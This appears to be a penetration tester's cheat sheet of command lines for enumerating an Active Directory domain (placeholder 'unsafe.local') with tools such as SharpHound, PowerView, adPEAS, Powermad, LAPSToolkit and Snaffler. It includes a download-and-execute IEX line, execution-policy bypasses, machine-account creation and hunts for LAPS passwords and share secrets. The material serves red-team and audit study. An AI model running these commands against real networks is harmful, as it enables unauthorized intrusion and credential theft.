Active Directory Recon

Enumeration from a non-domain joined Windows computer

Note:

Login as a local admin user and configure your system DNS server to be the IP address of a domain controller in the target domain firstly if the DNS is not configured automatically when the IP address is assigned.
(Control Panel > Network and Internet > Network Connections > Ethernet Properties > IPv4 Properties)
Also, it can be set through the Powershell.

#Open a Powershell window as Administrator.
Get-NetAdapter; $index = $(Read-Host -Prompt '[*] Set index of interface '); $dnsIp = $(Read-Host -Prompt '[*] DC IP address ');
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsIp

So that you can resolve the target domain.

ping unsafe.local
nslookup unsafe.local

After the below runas commands, you must check to access SYSVOL and NETLOGON folders with the following command:

net view \\unsafe.local\

You must see the SYSVOL and NETLOGON folders if you supply a valid password for the "runas" command.

Nslookup

#For finding DCs
C:\> nslookup
   > set type=SRV
   > _ldap._tcp.dc._msdcs.unsafe.local
   
#To find all of the available records
C:\> nslookup -type=any unsafe.local

Gpresult

#Displays verbose policy information for remote computer
gpresult /v /s target-IP /u username /p password /scope computer
gpresult /z /s target-IP /u username /p password /scope computer

#Displays RSoP summary data for remote computer
gpresult /r /s target-IP /u username /p password /scope computer

RSAT

#1. Download and install RSAT
#2. Run cmd.exe as Administrator
#3. Spawn a MMC as a user in that domain using runas and its /netonly flag and enter the password.
C:\> runas /netonly /user:UNSAFE\ruser "mmc /server=unsafe.local"

#4. File > Open > File name: C:\Windows\System32 > dsa (for example) > click

Powershell ActiveDirectory Module
#1. Spawn a Powershell as a user in that domain using runas and its /netonly flag and enter the password.
C:\> runas /netonly /user:UNSAFE\ruser powershell.exe

#2. Running cmdlets
C:\> Get-ADDomain -Server DC1.unsafe.local
C:\> Get-ADUser -Identity luser -Server DC_IP_address -Properties *

Netdom
# List workstation, server, dc, pdc, fsmo and trust information
C:\> netdom query fsmo /domain:unsafe.local
C:\> netdom query workstation /d:unsafe /ud:UNSAFE\luser /pd:S3cP@ss
C:\> netdom query server /d:unsafe /ud:UNSAFE\luser /pd:S3cP@ss
C:\> netdom query dc /d:unsafe /ud:UNSAFE\luser /pd:S3cP@ss
C:\> netdom query pdc /d:unsafe /ud:UNSAFE\luser /pd:S3cP@ss
C:\> netdom query trust /d:unsafe /ud:UNSAFE\luser /pd:S3cP@ss

# Adding a computer account
C:\> netdom add /d:unsafe.local machine /ud:UNSAFE\luser /pd:S3cP@ss

Dsquery
# List workstation, dc, ou, site information and query with LDAP filter
C:\> dsquery user -u unsafe\luser -p P@ssw0rd -d unsafe.local
C:\> dsquery computer -u unsafe\luser -p P@ssw0rd -d unsafe.local
C:\> dsquery ou -u unsafe\luser -p P@ssw0rd -d unsafe.local
C:\> dsquery site -u unsafe\luser -p P@ssw0rd -d unsafe.local
C:\> dsquery server -u unsafe\luser -p P@ssw0rd -d unsafe.local
C:\> dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL" -u unsafe\luser -p P@ssw0rd -d unsafe.local
C:\> dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl -u unsafe\luser -p P@ssw0rd -d unsafe.local

PowerView

#1. Spawn a Powershell as a user in that domain using runas and its /netonly flag and enter the password.
C:\> runas /netonly /user:UNSAFE\ruser powershell.exe

#2. Set Execution policy as Bypass
Set-ExecutionPolicy Bypass -Scope CurrentUser

#3. Import Module
Import-Module C:\Users\desktop2\Desktop\AD-Tools\Tools\PowerView_dev.ps1

#4. Running a cmdlet
Get-NetDomain

ADACLScanner (unstable)

#1. Spawn a Powershell as a user in that domain using runas and its /netonly flag and enter the password.
C:\> runas /netonly /user:UNSAFE\ruser powershell.exe

#2. Set Execution policy as Bypass
 Set-ExecutionPolicy Bypass -Scope CurrentUser

#3. Generate a report from the command line:
 .\ADACLScan.ps1 -Base "DC=unsafe,DC=local" -Scope subtree -Server dc.unsafe.local -Port 389 -Output HTML -Show
 .\ADACLScan.ps1 -Base "DC=unsafe,DC=local" -Scope subtree -Server dc.unsafe.local -Port 389 -EffectiveRightsPrincipal ruser -Output HTML -Show

adPEAS

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1')

#Bloodhound module is excluded
Invoke-adPEAS -Domain unsafe.local -Username 'unsafe\luser' -Password 'S3cP@ss' -Module Domain,CA,Creds,Delegation,Accounts,Computer -Vulns

SharpHound

#Method 1
#1. Spawn a CMD shell as a user in that domain using runas and its /netonly flag and enter the password.
C:\> runas /netonly /user:UNSAFE\ruser cmd.exe

#2. Run SharpHound, using the -d flag to specify the AD domain you want to collect information from. You can also use any other flags you wish.
C:\> SharpHound.exe -d unsafe.local -c All --outputdirectory C:\Users\desktop2\Desktop

#3. For session loop collection method (default 2 hours)
C:\> SharpHound.exe -d unsafe.local --CollectionMethods Session --Loop
C:\> SharpHound.exe -d unsafe.local --CollectionMethods Session --Loop --Loopduration 01:00:00

#Method 2
C:\> SharpHound.exe -d unsafe.local -c All --ldapusername ruser --ldappassword Password
C:\> SharpHound.exe -d unsafe.local --CollectionMethods Session --Loop --ldapusername ruser --ldappassword Password
C:\> SharpHound.exe -d unsafe.local --CollectionMethods LoggedOn --ldapusername ruser --ldappassword Password

PurpleKnight

#1. Download PurpleKnight and unzip the archive
#2. Spawn a CMD shell as a user in that domain using runas and its /netonly flag and enter the password.
C:\> runas /netonly /user:UNSAFE\ruser cmd.exe

#3. Set Execution policy as Bypass
C:\> powershell -c "Set-ExecutionPolicy Bypass -Scope CurrentUser"

#4. Run the executable from CMD
C:\> .\PurpleKnight.exe

#5. It will be opened and not detect a forest as expected. Type the domain name (e.g: unsafe.local) and click select > next > 'run tests'.

Pingcastle

#1. Download Pingcastle and unzip the archive
#2. Spawn a CMD shell as a user in that domain using runas and its /netonly flag and enter the password.
C:\> runas /netonly /user:UNSAFE\ruser cmd.exe

#3. Generate a HTML healthcheck report for domain:
C:\> .\PingCastle.exe --log --healthcheck --server unsafe.local

#4. To scan for the Zerologon vulnerability:
C:\> .\PingCastle.exe --log --scanner zerologon --server unsafe.local

.Net System.DirectoryServices.ActiveDirectory namespace

#1. Spawn a Powershell as a user in that domain using runas and its /netonly flag and enter the password.
runas /netonly /user:UNSAFE\ruser powershell.exe

#Get the forest information:
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

#Get the current user's domain information:
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

#Get information of DCs:
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers

#Find Primary DC:
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().pdcroleowner

#Find Schema Master:
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Forest.SchemaRoleOwner

#Get trusts for forest:
$forest = "unsafe.local"
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $forest)))).GetAllTrustRelationships()

#Get trusts for current domain:
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

#Get a list of sites in the forest:
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().sites

#Determine the SID filtering status of a trust. If the output is "true", SID filtering is enabled.
$domain="gotham.unsafe.local"
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetSidFilteringStatus($domain)

Powermad

#1. Spawn a Powershell as a user in that domain using runas and its /netonly flag and enter the password.
C:\> runas /netonly /user:UNSAFE\ruser powershell.exe

#2. Set Execution policy as Bypass
Set-ExecutionPolicy Bypass -Scope CurrentUser

#3. Import Module
Import-Module .\Powermad.ps1

#4. Add a machine account
$pass = ConvertTo-SecureString "MaQ.321" -AsPlainText -Force
New-MachineAccount -MachineAccount maq -Password $pass -Verbose

# Get an attribute value of the machine account
Get-MachineAccountAttribute -MachineAccount maq -Attribute distinguishedname

# Get SID of the machine account creator (ms-DS-CreatorSID)
Get-MachineAccountCreator -DistinguishedName "CN=maq,CN=Computers,DC=unsafe,DC=local"
Get-MachineAccountCreator

# Set an attribute value of the machine account
Set-MachineAccountAttribute -MachineAccount maq -Attribute description -Value test

# Disable the machine account
Disable-MachineAccount -MachineAccount maq

LAPSToolkit

#1. Spawn a Powershell as a user in that domain using runas and its /netonly flag and enter the password.
C:\> runas /netonly /user:UNSAFE\ruser powershell.exe

#2. Set Execution policy as Bypass
Set-ExecutionPolicy Bypass -Scope CurrentUser

#3. Import Module
Import-Module .\LAPSToolkit.ps1

#4. Displays all computers with LAPS enabled
Get-LAPSComputers

#5. Searches through all OUs to see which AD groups can read the ms-Mcs-AdmPwd attribute.
Find-LAPSDelegatedGroups

#6. Checks the rights on each computer with LAPS enabled for any groups with read access and users with AllExtendedRights.
Find-AdmPwdExtendedRights

LDAPMonitor

# For monitoring creation, deletion and changes to LDAP objects
C:\> SharpLDAPmonitor.exe /dcip:DC_IP_address /user:UNSAFE\luser /pass:S3cP@ss

Snaffler

#1. Spawn a CMD as a user in that domain using runas and its /netonly flag and enter the password.
C:\> runas /netonly /user:UNSAFE\ruser cmd.exe

#2. Fire up Snaffler
C:\> Snaffler.exe -s -d unsafe.local -c [DomainController-IP] -o snaffler.log

Reference

https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html
https://bitvijays.github.io/LFF-IPS-P3-Exploitation.html
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc772217(v=ws.11)
https://github.com/p0dalirius/LDAPmonitor
https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps
https://github.com/61106960/adPEAS
https://github.com/Kevin-Robertson/Powermad
https://github.com/leoloobeek/LAPSToolkit
https://www.pingcastle.com/
https://www.purple-knight.com/
https://github.com/SnaffCon/Snaffler